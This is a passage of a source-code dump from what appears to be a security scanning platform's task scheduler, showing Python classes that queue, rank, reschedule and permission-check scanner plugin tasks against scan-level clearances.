Whether the thread should be a daemon.\n            loop: Whether the thread should loop.\n        \"\"\"\n        t = utils.ThreadRunner(\n            name=name, target=target, stop_event=self.stop_event_threads, interval=interval, daemon=daemon, loop=loop\n        )\n        t.start()\n\n        self.threads.append(t)\n\n    def push_items_to_queue(self, items: list[models.Task]) -> None:\n        \"\"\"Push multiple items to the queue.\n\n        Args:\n            items: A list of items to push to the queue.\n        \"\"\"\n        count = 0\n        for item in items:\n            try:\n                self.push_item_to_queue(item)\n            except (NotAllowedError, QueueFullError, InvalidItemError) as exc:\n                self.logger.debug(\n                    \"Unable to push item %s to queue %s (%s)\",\n                    item.id,\n                    self.queue.pq_id,\n                    exc,\n                    item_id=item.id,\n                    queue_id=self.queue.pq_id,\n                    scheduler_id=self.scheduler_id,\n                )\n                continue\n            except Exception as exc:\n                self.logger.error(\n                    \"Unable to push item %s to queue %s\",\n                    item.id,\n                    self.queue.pq_id,\n                    item_id=item.id,\n                    queue_id=self.queue.pq_id,\n                    scheduler_id=self.scheduler_id,\n                )\n                raise exc\n\n            count += 1\n\n    def push_item_to_queue_with_timeout(\n        self, item: models.Task, max_tries: int = 5, timeout: int = 1, create_schedule: bool = True\n    ) -> None:\n        \"\"\"Push an item to the queue, with a timeout.\n\n        Args:\n            item: The item to push to the queue.\n            timeout: The timeout in seconds.\n            max_tries: The maximum number of tries. Set to -1 for infinite tries.\n\n        Raises:\n            QueueFullError: When the queue is full.\n        \"\"\"\n        tries = 0\n        while not self.is_space_on_queue() and (tries < max_tries or max_tries == -1):\n            self.logger.debug(\n                \"Queue %s is full, waiting for space\",\n                self.queue.pq_id,\n                queue_id=self.queue.pq_id,\n                queue_qsize=self.queue.qsize(),\n                scheduler_id=self.scheduler_id,\n            )\n            time.sleep(timeout)\n            tries += 1\n\n        if tries >= max_tries and max_tries != -1:\n            raise QueueFullError()\n\n        self.push_item_to_queue(item, create_schedule=create_schedule)\n\n    def push_item_to_queue(self, item: models.Task, create_schedule: bool = True) -> models.Task:\n        \"\"\"Push a Task to the queue.\n\n        Args:\n            item: The item to push to the queue.\n\n        Raises:\n            NotAllowedError: When the scheduler is disabled.\n            QueueFullError: When the queue is full.\n            InvalidItemError: When the item is invalid.\n        \"\"\"\n        try:\n            if item.type is None:\n                item.type = self.ITEM_TYPE.type\n            item.status = models.TaskStatus.QUEUED\n            item = self.queue.push(item)\n        except NotAllowedError:\n            self.logger.debug(\n                \"Not allowed to push to queue %s\",\n                self.queue.pq_id,\n                item_id=item.id,\n                queue_id=self.queue.pq_id,\n                scheduler_id=self.scheduler_id,\n                item=item,\n            )\n            raise\n        except QueueFullError:\n            self.logger.warning(\n                \"Queue %s is full, not pushing new items\",\n                self.queue.pq_id,\n                item_id=item.id,\n                queue_id=self.queue.pq_id,\n                queue_qsize=self.queue.qsize(),\n                scheduler_id=self.scheduler_id,\n            )\n            raise\n        except InvalidItemError:\n            self.logger.warning(\n                \"Invalid item %s\",\n                item.id,\n                item_id=item.id,\n                queue_id=self.queue.pq_id,\n                queue_qsize=self.queue.qsize(),\n                scheduler_id=self.scheduler_id,\n            )\n            raise\n\n        self.logger.debug(\n            \"Pushed item %s to queue %s with priority %s \",\n            item.id,\n            self.queue.pq_id,\n            item.priority,\n            item_id=item.id,\n            item_hash=item.hash,\n            queue_id=self.queue.pq_id,\n            scheduler_id=self.scheduler_id,\n        )\n\n        item = self.post_push(item, create_schedule)\n\n        return item\n\n    def post_push(self, item: models.Task, create_schedule: bool = True) -> models.Task:\n        \"\"\"After an item is pushed to the queue, we execute this function. We\n        perform the following actions:\n\n        - We set the last activity of the scheduler to now.\n        - We check if we should create a schedule for the item.\n        - If a schedule already exists, we update the deadline.\n        - If no schedule exists, we create a new schedule and set the deadline.\n        - We update the item with the schedule id.\n\n        Args:\n            item: The item from the priority queue.\n        \"\"\"\n        self.last_activity = datetime.now(timezone.utc)\n\n        # We differentiate between the scheduler configuration if we should\n        # create a schedule for the item, and or if it was specifically\n        # specified for the item to create a schedule.\n        scheduler_create_schedule = self.create_schedule\n        if not scheduler_create_schedule:\n            self.logger.debug(\n                \"Scheduler is not creating schedules, not creating schedule for item %s\",\n                item.id,\n                item_id=item.id,\n                queue_id=self.queue.pq_id,\n                scheduler_id=self.scheduler_id,\n            )\n            return item\n\n        item_create_schedule = create_schedule\n        if not item_create_schedule:\n            self.logger.debug(\n                \"Item is not creating schedules, not creating schedule for item %s\",\n                item.id,\n                item_id=item.id,\n                queue_id=self.queue.pq_id,\n                scheduler_id=self.scheduler_id,\n            )\n            return item\n\n        schedule_db = None\n        if item.schedule_id is not None:\n            schedule_db = self.ctx.datastores.schedule_store.get_schedule(item.schedule_id)\n        else:\n            schedule_db = self.ctx.datastores.schedule_store.get_schedule_by_hash(item.hash)\n\n        if schedule_db is None:\n            schedule = models.Schedule(\n                scheduler_id=self.scheduler_id, hash=item.hash, data=item.data, organisation=item.organisation\n            )\n            schedule_db = self.ctx.datastores.schedule_store.create_schedule(schedule)\n\n        if schedule_db is None:\n            self.logger.debug(\n                \"No schedule found for item %s\",\n                item.id,\n                item_id=item.id,\n                queue_id=self.queue.pq_id,\n                scheduler_id=self.scheduler_id,\n            )\n            return item\n\n        if not schedule_db.enabled:\n            self.logger.debug(\n                \"Schedule %s is disabled, not updating deadline\",\n                schedule_db.id,\n                schedule_id=schedule_db.id,\n                item_id=item.id,\n                queue_id=self.queue.pq_id,\n                scheduler_id=self.scheduler_id,\n            )\n            return item\n\n        item.schedule_id = schedule_db.id\n\n        schedule_db = self.calculate_deadline(schedule_db)\n        self.ctx.datastores.schedule_store.update_schedule(schedule_db)\n        self.ctx.datastores.task_store.update_task(item)\n\n        return item\n\n    def pop_item_from_queue(\n        self, limit: int | None = None, filters: storage.filters.FilterRequest | None = None\n    ) -> list[models.Task]:\n        \"\"\"Pop an item from the queue.\n\n        Args:\n            filters: Optional filters to apply when popping an item.\n\n        Returns:\n            An item from the queue\n\n        Raises:\n            NotAllowedError: When the scheduler is disabled.\n        \"\"\"\n        items = self.queue.pop(limit, filters)\n\n        if items is not None:\n            self.logger.debug(\n                \"Popped %s item(s) from queue %s\",\n                len(items),\n                self.queue.pq_id,\n                queue_id=self.queue.pq_id,\n                scheduler_id=self.scheduler_id,\n            )\n\n            self.post_pop(items)\n\n        return items\n\n    def post_pop(self, items: list[models.Task]) -> None:\n        \"\"\"After an item is popped from the queue, we execute this function\n        Args:\n            item: An item from the queue\n        \"\"\"\n        self.last_activity = datetime.now(timezone.utc)\n\n    def calculate_deadline(self, schedule: models.Schedule) -> models.Schedule:\n        \"\"\"Calculate the deadline for a schedule.\n\n        When the schedule is not set, and the auto_calculate_deadline is\n        not set, we set the deadline to None. This means that the task\n        will not be scheduled and was likely a one-off scheduled task.\n        \"\"\"\n        if schedule.schedule is not None:\n            schedule.deadline_at = cron.next_run(schedule.schedule)\n        elif self.auto_calculate_deadline:\n            schedule.deadline_at = self.calculate_default_deadline(schedule)\n        elif schedule.deadline_at is not None and schedule.deadline_at < datetime.now(timezone.utc):\n            schedule.deadline_at = None\n\n        return schedule\n\n    def calculate_default_deadline(self, schedule: models.Schedule) -> datetime:\n        \"\"\"The default deadline calculation for a task, when the\n        auto_calculate_deadline attribute is set to True\"\"\"\n        # We at least delay a job by the grace period\n        minimum = self.ctx.config.pq_grace_period\n        deadline = datetime.now(timezone.utc) + timedelta(seconds=minimum)\n\n        # We want to delay the job by a random amount of time, in a range of 5 hours\n        jitter_range_seconds = 5 * 60 * 60\n        jitter = timedelta(seconds=random.uniform(0, jitter_range_seconds))  # noqa\n\n        # Check if the adjusted time is earlier than the minimum, and\n        # ensure that the adjusted time is not earlier than the deadline\n        adjusted_time = deadline + jitter\n\n        return adjusted_time\n\n    def stop(self) -> None:\n        self.logger.info(\"Stopping scheduler: %s\", self.scheduler_id, scheduler_id=self.scheduler_id)\n\n        # First, stop the listeners, when those are running in a thread and\n        # they're using rabbitmq, they will block. Setting the stop event\n        # will not stop the thread. We need to explicitly stop the listener.\n        self.stop_listeners()\n        self.stop_threads()\n\n        self.logger.info(\"Stopped scheduler: %s\", self.scheduler_id, scheduler_id=self.scheduler_id)\n\n    def stop_listeners(self) -> None:\n        \"\"\"Stop the listeners.\"\"\"\n        for lst in self.listeners.copy().values():\n            lst.stop()\n\n        self.listeners = {}\n\n    def stop_threads(self) -> None:\n        \"\"\"Stop the threads.\"\"\"\n        for t in self.threads.copy():\n            t.join(5)\n\n        self.threads = []\n\n    def is_space_on_queue(self) -> bool:\n        \"\"\"Check if there is space on the queue.\n\n        NOTE: maxsize 0 means unlimited\n\n        Returns:\n            True if there is space on the queue, False otherwise.\n        \"\"\"\n        if self.queue.maxsize != 0 and (self.queue.maxsize - self.queue.qsize()) <= 0:\n            return False\n\n        return True\n\n    def is_item_on_queue_by_hash(self, item_hash: str) -> bool:\n        return self.queue.is_item_on_queue_by_hash(item_hash)\n\n    @property\n    def last_activity(self) -> datetime | None:\n        \"\"\"Get the last activity of the scheduler.\"\"\"\n        with self.lock:\n            return self._last_activity\n\n    @last_activity.setter\n    def last_activity(self, value: datetime) -> None:\n        \"\"\"Set the last activity of the scheduler.\"\"\"\n        with self.lock:\n            self._last_activity = value\n\n    def dict(self) -> dict[str, Any]:\n        \"\"\"Get a dict representation of the scheduler.\"\"\"\n        return {\n            \"id\": self.scheduler_id,\n            \"type\": self.TYPE.value,\n            \"item_type\": self.ITEM_TYPE.__name__,\n            \"qsize\": self.queue.qsize(),\n            \"last_activity\": self.last_activity,\n        }\n"
  },
  {
    "path": "mula/scheduler/schedulers/schedulers/__init__.py",
    "content": "from .boefje import BoefjeScheduler\nfrom .normalizer import NormalizerScheduler\nfrom .report import ReportScheduler\n"
  },
  {
    "path": "mula/scheduler/schedulers/schedulers/boefje.py",
    "content": "import uuid\nfrom collections.abc import Iterator\nfrom concurrent import futures\nfrom datetime import datetime, timedelta, timezone\nfrom typing import Any, Literal\n\nfrom httpx import HTTPStatusError, ReadTimeout\nfrom opentelemetry import trace\nfrom pydantic import ValidationError\nfrom typing_extensions import override\n\nfrom scheduler import clients, context, models\nfrom scheduler.clients.errors import ExternalServiceError\nfrom scheduler.models import MutationOperationType\nfrom scheduler.models.ooi import RunOn\nfrom scheduler.schedulers import Scheduler, queue, rankers\nfrom scheduler.schedulers.errors import exception_handler\nfrom scheduler.schedulers.queue.errors import NotAllowedError\nfrom scheduler.storage import filters\nfrom scheduler.storage.errors import StorageError\n\ntracer = trace.get_tracer(__name__)\n\n\nclass BoefjePQ(queue.PriorityQueue):\n    \"\"\"A custom priority queue for the BoefjeScheduler. Since we have specific\n    requirements for popping tasks from the queue. We override the\n    pop method to call the `pop_boefje()` to retrieve batched tasks based on\n    their environment hash.\n    \"\"\"\n\n    @queue.pq.with_lock\n    def pop(self, limit: int | None = None, filters: filters.FilterRequest | None = None) -> list[models.Task]:\n        items = self.pq_store.pop_boefje(self.pq_id, limit=limit, filters=filters)\n        if not items:\n            return []\n\n        self.pq_store.bulk_update_status(self.pq_id, [item.id for item in items], models.TaskStatus.DISPATCHED)\n\n        return items\n\n\nclass BoefjeScheduler(Scheduler):\n    \"\"\"Scheduler implementation for the creation of BoefjeTask models.\n\n    Attributes:\n        ranker: The ranker to calculate the priority of a task.\n    \"\"\"\n\n    ID: Literal[\"boefje\"] = \"boefje\"\n    TYPE: models.SchedulerType = models.SchedulerType.BOEFJE\n    ITEM_TYPE: Any = models.BoefjeTask\n\n    def __init__(self, ctx: context.AppContext):\n        \"\"\"Initializes the BoefjeScheduler.\n\n        Args:\n            ctx (context.AppContext): Application context of shared data (e.g.\n                configuration, external services connections).\n        \"\"\"\n        # Note: that we use the BoefjePQ here, which is a custom priority queue\n        # that overrides the pop method to call the `pop_boefje()` method.\n        pq = BoefjePQ(\n            pq_id=self.ID, maxsize=ctx.config.pq_maxsize, item_type=self.ITEM_TYPE, pq_store=ctx.datastores.pq_store\n        )\n\n        super().__init__(ctx=ctx, scheduler_id=self.ID, queue=pq, create_schedule=True, auto_calculate_deadline=True)\n\n        self.ranker = rankers.BoefjeRankerTimeBased(self.ctx)\n\n    def run(self) -> None:\n        \"\"\"The run method is called when the scheduler is started. It will\n        start the listeners and the scheduling loops in separate threads. It\n        is mainly tasked with populating the queue with tasks.\n\n        - Scan profile mutations; when a scan profile is updated for an ooi\n        e.g. the scan level is changed, we need to create new tasks for the\n        ooi. We gather all boefjes that can run on the ooi and create tasks\n        for them. We get this event from the RabbitMQ `ScanProfileMutation`\n        client.\n\n        - New boefjes; when new boefjes are added or enabled we find the ooi's\n        that boefjes can run on, and create tasks for it.\n\n        - Rescheduling; when a task has passed its deadline, we need to\n        reschedule it.\n        \"\"\"\n        self.listeners[\"mutations\"] = clients.ScanProfileMutation(\n            dsn=str(self.ctx.config.host_raw_data),\n            queue=\"scan_profile_mutations\",\n            func=self.process_mutations,\n            prefetch_count=self.ctx.config.rabbitmq_prefetch_count,\n        )\n\n        self.run_in_thread(name=\"BoefjeScheduler-mutations\", target=self.listeners[\"mutations\"].listen, loop=False)\n        self.run_in_thread(name=\"BoefjeScheduler-new_boefjes\", target=self.process_new_boefjes, interval=60.0)\n        self.run_in_thread(name=\"BoefjeScheduler-rescheduling\", target=self.process_rescheduling, interval=60.0)\n\n        self.logger.info(\n            \"Boefje scheduler started\", scheduler_id=self.scheduler_id, item_type=self.queue.item_type.__name__\n        )\n\n    @tracer.start_as_current_span(\"BoefjeScheduler.process_mutations\")\n    def process_mutations(self, body: bytes) -> None:\n        \"\"\"Create tasks for oois that have a scan level change.\n\n        Args:\n            body: The mutation that was received.\n        \"\"\"\n        # Convert body into a ScanProfileMutation\n        mutation = models.ScanProfileMutation.model_validate_json(body)\n        self.logger.debug(\n            \"Received scan level mutation %s for: %s\",\n            mutation.operation,\n            mutation.primary_key,\n            ooi_primary_key=mutation.primary_key,\n            scheduler_id=self.scheduler_id,\n        )\n\n        # There should be an OOI in value\n        ooi = mutation.value\n        if ooi is None:\n            self.logger.debug(\"Mutation value is None, skipping\", scheduler_id=self.scheduler_id)\n            return\n\n        # When the mutation is a delete operation, we need to remove all tasks\n        if mutation.operation == models.MutationOperationType.DELETE:\n            items, _ = self.ctx.datastores.pq_store.get_items(\n                scheduler_id=self.scheduler_id,\n                filters=filters.FilterRequest(\n                    filters=[filters.Filter(column=\"data\", field=\"input_ooi\", operator=\"eq\", value=ooi.primary_key)]\n                ),\n            )\n\n            # Delete all items for this ooi, update all tasks for this ooi\n            # to cancelled.\n            for item in items:\n                task = self.ctx.datastores.task_store.get_task(item.id)\n                if task is None:\n                    continue\n\n                task.status = models.TaskStatus.CANCELLED\n                self.ctx.datastores.task_store.update_task(task)\n\n            return\n\n        # What available boefjes do we have for this ooi?\n        boefjes = self.ctx.services.katalogus.get_boefjes_by_type_and_org_id(ooi.object_type, mutation.client_id)\n        if not boefjes:\n            self.logger.debug(\"No boefjes available for %s\", ooi.primary_key, scheduler_id=self.scheduler_id)\n            return\n\n        # Create tasks for the boefjes\n        boefje_tasks = []\n        for boefje in boefjes:\n            if not self.has_boefje_permission_to_run(boefje, ooi):\n                self.logger.debug(\n                    \"Boefje not allowed to run on ooi\",\n                    boefje_id=boefje.id,\n                    ooi_primary_key=ooi.primary_key,\n                    scheduler_id=self.scheduler_id,\n                )\n                continue\n\n            create_schedule, run_task = True, True\n\n            # What type of run boefje is it?\n            if boefje.run_on:\n                create_schedule = False\n                run_task = False\n                if mutation.operation == MutationOperationType.CREATE:\n                    run_task = RunOn.CREATE in boefje.run_on\n                elif mutation.operation == MutationOperationType.UPDATE:\n                    run_task = RunOn.UPDATE in boefje.run_on\n\n            if not run_task:\n                self.logger.debug(\n                    \"Based on boefje run on type, skipping\",\n                    boefje_id=boefje.id,\n                    ooi_primary_key=ooi.primary_key,\n                    organisation_id=mutation.client_id,\n                    scheduler_id=self.scheduler_id,\n                )\n                continue\n\n            boefje_tasks.append(\n                (\n                    models.BoefjeTask(\n                        boefje=models.Boefje.model_validate(boefje.model_dump()),\n                        input_ooi=ooi.primary_key if ooi else None,\n                        organization=mutation.client_id,\n                    ),\n                    create_schedule,\n                )\n            )\n\n        with futures.ThreadPoolExecutor(thread_name_prefix=f\"TPE-{self.scheduler_id}-mutations\") as executor:\n            for boefje_task, create_schedule in boefje_tasks:\n                future = executor.submit(\n                    self.push_boefje_task, boefje_task, create_schedule, self.process_mutations.__name__\n                )\n                future.add_done_callback(self.log_future_exceptions)\n\n    @tracer.start_as_current_span(\"BoefjeScheduler.process_new_boefjes\")\n    def process_new_boefjes(self) -> None:\n        \"\"\"When new boefjes are added or enabled we find the ooi's that\n        boefjes can run on, and create tasks for it.\"\"\"\n        boefje_tasks = []\n\n        # TODO: this should be optimized see #3357 and #4191\n        try:\n            orgs = self.ctx.services.katalogus.get_organisations()\n        except ExternalServiceError as error:\n            self.logger.exception(\n                \"Error occurred while processing new boefjes, could not fetch Organisation list\",\n                scheduler_id=self.scheduler_id,\n                error=error,\n            )\n            return\n\n        for org in orgs:\n            try:\n                # Get new boefjes for organisation\n                new_boefjes = self.ctx.services.katalogus.get_new_boefjes_by_org_id(org.id)\n                if not new_boefjes:\n                    self.logger.debug(\"No new boefjes found for organisation\", organisation_id=org.id)\n                    continue\n\n                # Get all oois for the new boefjes\n                for boefje in new_boefjes:\n                    try:\n                        for ooi in self.get_oois_for_boefje(boefje, org.id):\n                            boefje_task = models.BoefjeTask(\n                                boefje=models.Boefje.model_validate(boefje.model_dump()),\n                                input_ooi=ooi.primary_key,\n                                organization=org.id,\n                            )\n\n                            boefje_tasks.append((boefje_task, org.id))\n                    except HTTPStatusError as error:\n                        if error.response.status_code == 400:\n                            # invalid object type present in Boefje consumes list.\n                            self.logger.warning(\n                                \"Error occurred while processing new boefje, invalid object_type in consumes list.\",\n                                organisation_id=org.id,\n                                scheduler_id=self.scheduler_id,\n                                boefje=boefje,\n                                error=error,\n                            )\n                        else:\n                            raise\n\n            except ExternalServiceError as error:\n                self.logger.warning(\n                    \"Error occurred while processing new boefjes\",\n                    organisation_id=org.id,\n                    scheduler_id=self.scheduler_id,\n                    error=error,\n                )\n                continue\n\n        with futures.ThreadPoolExecutor(thread_name_prefix=f\"TPE-{self.scheduler_id}-new_boefjes\") as executor:\n            for boefje_task, org_id in boefje_tasks:\n                future = executor.submit(\n                    self.push_boefje_task, boefje_task, self.create_schedule, self.process_new_boefjes.__name__\n                )\n                future.add_done_callback(self.log_future_exceptions)\n\n    @tracer.start_as_current_span(\"BoefjeScheduler.process_rescheduling\")\n    def process_rescheduling(self):\n        try:\n            schedules = self.ctx.datastores.schedule_store.get_due_schedules(scheduler_id=self.scheduler_id)\n            if not schedules:\n                self.logger.debug(\n                    \"No schedules tasks found for scheduler: %s\", self.scheduler_id, scheduler_id=self.scheduler_id\n                )\n                return\n        except StorageError as error:\n            self.logger.exception(\n                \"Error occurred while processing rescheduling, could not fetch schedules from Database\",\n                error=error,\n                scheduler_id=self.scheduler_id,\n            )\n            return\n\n        with futures.ThreadPoolExecutor(thread_name_prefix=f\"TPE-{self.scheduler_id}-rescheduling\") as executor:\n            plugins = {}  # cache plugins while walking this loop\n            oois: dict[str, dict] = {}\n            # collect all ooi references per orga\n            for schedule in schedules:\n                boefje_task = models.BoefjeTask.model_validate(schedule.data)\n                if boefje_task.input_ooi:\n                    if boefje_task.organization not in oois:\n                        oois[boefje_task.organization] = {}\n                    oois[boefje_task.organization][boefje_task.input_ooi] = None\n\n            failed_orgs = set()\n            # collect ooi's from octopoes.\n            for org, org_oois in oois.items():\n                # do one call to octopoes to collect all ooi's ready for rescheduling for that orga\n                try:\n                    octopoes_oois = self.ctx.services.octopoes.get_objects(org, references=list(org_oois.keys()))\n                    if not octopoes_oois:\n                        continue\n                    for ooi in octopoes_oois:\n                        org_oois[ooi.primary_key] = ooi\n                except ReadTimeout:\n                    self.logger.error(\n                        \"Could not fetch objects from octopoes for rescheduling due to ReadTimeout\",\n                        scheduler_id=self.scheduler_id,\n                        organisation_id=org,\n                    )\n                    failed_orgs.add(org)\n\n            for schedule in schedules:\n                try:\n                    boefje_task = models.BoefjeTask.model_validate(schedule.data)\n                    if boefje_task.organization in failed_orgs:\n                        self.logger.debug(\n                            \"Skipping schedule due to earlier ReadTimeout, unable to read OOI from Octopoes\",\n                            input_ooi=boefje_task.input_ooi,\n                            schedule_id=schedule.id,\n                            organisation_id=boefje_task.organization,\n                        )\n                        continue\n\n                    # Plugin still exists?\n                    plugin_key = f\"{boefje_task.boefje.id}, {schedule.organisation}\"\n                    if plugin_key not in plugins:\n                        plugins[plugin_key] = self.ctx.services.katalogus.get_plugin_by_id_and_org_id(\n                            boefje_task.boefje.id, schedule.organisation\n                        )\n                    plugin = plugins[plugin_key]\n\n                    if not plugin:\n                        self.logger.info(\n                            \"Boefje does not exist anymore, skipping and disabling schedule\",\n                            boefje_id=boefje_task.boefje.id,\n                            schedule_id=schedule.id,\n                            scheduler_id=self.scheduler_id,\n                        )\n                        schedule.enabled = False\n                        self.ctx.datastores.schedule_store.update_schedule(schedule)\n                        continue\n\n                    # Plugin still enabled?\n                    if not plugin.enabled:\n                        self.logger.debug(\n                            \"Boefje is disabled, skipping\",\n                            boefje_id=boefje_task.boefje.id,\n                            schedule_id=schedule.id,\n                            scheduler_id=self.scheduler_id,\n                        )\n                        schedule.enabled = False\n                        self.ctx.datastores.schedule_store.update_schedule(schedule)\n                        continue\n\n                    # Plugin a boefje?\n                    if plugin.type != \"boefje\":\n                        # We don't disable the schedule, since we should've gotten\n                        # schedules for boefjes only.\n                        self.logger.warning(\n                            \"Plugin is not a boefje, skipping\",\n                            plugin=plugin,\n                            schedule_id=schedule.id,\n                            organisation_id=schedule.organisation,\n                            scheduler_id=self.scheduler_id,\n                        )\n                        continue\n\n                    # When the boefje task has an ooi, we need to do some additional\n                    # checks.\n                    ooi = None\n                    if boefje_task.input_ooi:\n                        # OOI still exists?\n                        ooi = oois[boefje_task.organization][boefje_task.input_ooi]\n                        if not ooi:\n                            self.logger.info(\n                                \"OOI does not exist anymore, skipping and disabling schedule\",\n                                ooi_primary_key=boefje_task.input_ooi,\n                                schedule_id=schedule.id,\n                                organisation_id=schedule.organisation,\n                                scheduler_id=self.scheduler_id,\n                            )\n                            schedule.enabled = False\n                            self.ctx.datastores.schedule_store.update_schedule(schedule)\n                            continue\n\n                        # Boefje still consuming ooi type?\n                        if ooi.object_type not in plugin.consumes:\n                            self.logger.debug(\n                                \"Boefje does not consume ooi anymore, skipping\",\n                                boefje_id=boefje_task.boefje.id,\n                                ooi_primary_key=ooi.primary_key,\n                                organisation_id=schedule.organisation,\n                                scheduler_id=self.scheduler_id,\n                            )\n                            schedule.enabled = False\n                            self.ctx.datastores.schedule_store.update_schedule(schedule)\n                            continue\n\n                        # TODO: do we want to disable the schedule when a\n                        # boefje is not allowed to scan an ooi?\n\n                        # Boefje allowed to scan ooi?\n                        if not self.has_boefje_permission_to_run(plugin, ooi):\n                            self.logger.info(\n                                \"Boefje not allowed to scan ooi, skipping and disabling schedule\",\n                                boefje_id=boefje_task.boefje.id,\n                                ooi_primary_key=ooi.primary_key,\n                                schedule_id=schedule.id,\n                                organisation_id=schedule.organisation,\n                                scheduler_id=self.scheduler_id,\n                            )\n                            schedule.enabled = False\n                            self.ctx.datastores.schedule_store.update_schedule(schedule)\n                            continue\n\n                    new_boefje_task = models.BoefjeTask(\n                        boefje=models.Boefje.model_validate(plugin.model_dump()),\n                        input_ooi=ooi.primary_key if ooi else None,\n                        organization=schedule.organisation,\n                    )\n\n                except (StorageError, ValidationError, ExternalServiceError):\n                    self.logger.exception(\n                        \"Error occurred while processing rescheduling\",\n                        schedule_id=schedule.id,\n                        scheduler_id=self.scheduler_id,\n                    )\n                    continue\n\n                future = executor.submit(\n                    self.push_boefje_task, new_boefje_task, self.create_schedule, self.process_rescheduling.__name__\n                )\n                future.add_done_callback(self.log_future_exceptions)\n\n    @exception_handler\n    @tracer.start_as_current_span(\"BoefjeScheduler.push_boefje_task\")\n    def push_boefje_task(self, boefje_task: models.BoefjeTask, create_schedule: bool = True, caller: str = \"\") -> None:\n        # TODO, let the database handle integrity, however upstream we have\n        # decided that in that case we want to update the existing record on the\n        # queue to reflect the pushed changes, which is not what we'd want in\n        # this rescheduling situation.\n        task_db = self.ctx.datastores.task_store.get_latest_task_by_hash(boefje_task.hash)\n\n        if task_db and task_db.status in models.ACTIVE_TASK_STATUSES:\n            # Check if the task is stalled before giving up\n            if self.has_boefje_task_stalled(task_db, boefje_task):\n                self.logger.debug(\n                    \"Task is stalled: %s\",\n                    boefje_task.hash,\n                    task_hash=boefje_task.hash,\n                    scheduler_id=self.scheduler_id,\n                    caller=caller,\n                )\n\n                # Update task in datastore to be failed\n                task_db.status = models.TaskStatus.FAILED\n                self.ctx.datastores.task_store.update_task(task_db)\n                # Fall through to create a new task\n            else:\n                self.logger.debug(\n                    \"Task is already on queue: %s\",\n                    boefje_task.hash,\n                    task_hash=boefje_task.hash,\n                    scheduler_id=self.scheduler_id,\n                    caller=caller,\n                )\n                return\n\n        task_bytes = self.ctx.services.bytes.get_last_run_boefje(\n            boefje_id=boefje_task.boefje.id, input_ooi=boefje_task.input_ooi, organization_id=boefje_task.organization\n        )\n\n        grace_period_passed = self.has_boefje_task_grace_period_passed(task_db, task_bytes, boefje_task)\n        if not grace_period_passed:\n            self.logger.debug(\n                \"Task has not passed grace period: %s\",\n                boefje_task.hash,\n                task_hash=boefje_task.hash,\n                scheduler_id=self.scheduler_id,\n                caller=caller,\n            )\n            return\n\n        is_running = self.has_boefje_task_started_running(task_db, task_bytes, boefje_task)\n        if is_running:\n            self.logger.debug(\n                \"Task is still running: %s\",\n                boefje_task.hash,\n                task_hash=boefje_task.hash,\n                scheduler_id=self.scheduler_id,\n                caller=caller,\n            )\n            return\n\n        # We check if the boefje is also present in other organisations\n        # and if so, we create tasks for those organisations as well.\n        tasks = self.is_boefje_in_other_orgs(boefje_task)\n        if tasks:\n            boefje_task.deduplication_key = boefje_task.id\n\n        task = models.Task(\n            id=boefje_task.id,\n            scheduler_id=self.scheduler_id,\n            organisation=boefje_task.organization,\n            type=self.ITEM_TYPE.type,\n            hash=boefje_task.hash,\n            data=boefje_task.model_dump(),\n        )\n\n        task.priority = self.ranker.rank(task)\n        tasks.append(task)\n\n        with self.queue.lock:\n            for task in tasks:\n                try:\n                    self.push_item_to_queue_with_timeout(\n                        item=task, max_tries=self.max_tries, create_schedule=create_schedule\n                    )\n                except NotAllowedError:\n                    self.logger.debug(\n                        \"Task is not allowed to be pushed to the queue\",\n                        task_id=task.id,\n                        task_hash=task.hash,\n                        boefje_id=boefje_task.boefje.id,\n                        ooi_primary_key=boefje_task.input_ooi,\n                        organisation_id=boefje_task.organization,\n                        scheduler_id=self.scheduler_id,\n                        caller=caller,\n                    )\n                    continue\n\n                self.logger.info(\n                    \"Created boefje task\",\n                    task_id=task.id,\n                    task_hash=task.hash,\n                    boefje_id=boefje_task.boefje.id,\n                    ooi_primary_key=boefje_task.input_ooi,\n                    scheduler_id=self.scheduler_id,\n                    organisation_id=boefje_task.organization,\n                    caller=caller,\n                )\n\n    @override\n    def push_item_to_queue(self, item: models.Task, create_schedule: bool = True) -> models.Task:\n        \"\"\"Some boefje scheduler specific logic before pushing the item to the\n        queue.\n\n        The task.id and the boefje_task.id should be the same, this assumption\n        is made by the task runner. Here we enforce this by setting the\n        boefje_task.id to the task.id if they are not the same.\n        \"\"\"\n        boefje_task = models.BoefjeTask.model_validate(item.data)\n\n        # Check if id's are unique and correctly set. Same id's are necessary\n        # for the task runner.\n        if item.id != boefje_task.id:\n            new_id = uuid.uuid4()\n\n            boefje_task.id = new_id\n            item.id = new_id\n            item.data = boefje_task.model_dump()\n\n        return super().push_item_to_queue(item=item, create_schedule=create_schedule)\n\n    def has_boefje_permission_to_run(self, boefje: models.Plugin, ooi: models.OOI) -> bool:\n        \"\"\"Checks whether a boefje is allowed to run on an ooi.\n\n        Args:\n            boefje: The boefje to check.\n            ooi: The ooi to check.\n\n        Returns:\n            True if the boefje is allowed to run on the ooi, False otherwise.\n        \"\"\"\n        if boefje.enabled is False:\n            self.logger.debug(\n                \"Boefje: %s is disabled\", boefje.name, boefje_id=boefje.id, scheduler_id=self.scheduler_id\n            )\n            return False\n\n        boefje_scan_level = boefje.scan_level\n        if boefje_scan_level is None:\n            self.logger.warning(\n                \"No scan level found for boefje: %s\", boefje.id, boefje_id=boefje.id, scheduler_id=self.scheduler_id\n            )\n            return False\n\n        # We allow boefjes without an ooi to run.\n        if ooi is None:\n            return True\n\n        if ooi.scan_profile is None:\n            self.logger.debug(\n                \"No scan_profile found for ooi: %s\",\n                ooi.primary_key,\n                ooi_primary_key=ooi.primary_key,\n                scheduler_id=self.scheduler_id,\n            )\n            return False\n\n        ooi_scan_level = ooi.scan_profile.level\n        if ooi_scan_level is None:\n            self.logger.warning(\n                \"No scan level found for ooi: %s\",\n                ooi.primary_key,\n                ooi_primary_key=ooi.primary_key,\n                scheduler_id=self.scheduler_id,\n            )\n            return False\n\n        # Boefje intensity score ooi clearance level, range\n        # from 0 to 4. 4 being the highest intensity, and 0 being\n        # the lowest. OOI clearance level defines what boefje\n        # intensity is allowed to run on.\n        if boefje_scan_level > ooi_scan_level:\n            self.logger.debug(\n                \"Boefje: %s scan level %s is too intense for ooi: %s scan level %s\",\n                boefje.id,\n                boefje_scan_level,\n                ooi.primary_key,\n                ooi_scan_level,\n                boefje_id=boefje.id,\n                ooi_primary_key=ooi.primary_key,\n                scheduler_id=self.scheduler_id,\n            )\n            return False\n\n        return True\n\n    def has_boefje_task_started_running(\n        self, task_db: models.Task | None, task_bytes: models.BoefjeMeta | None, task: models.BoefjeTask\n    ) 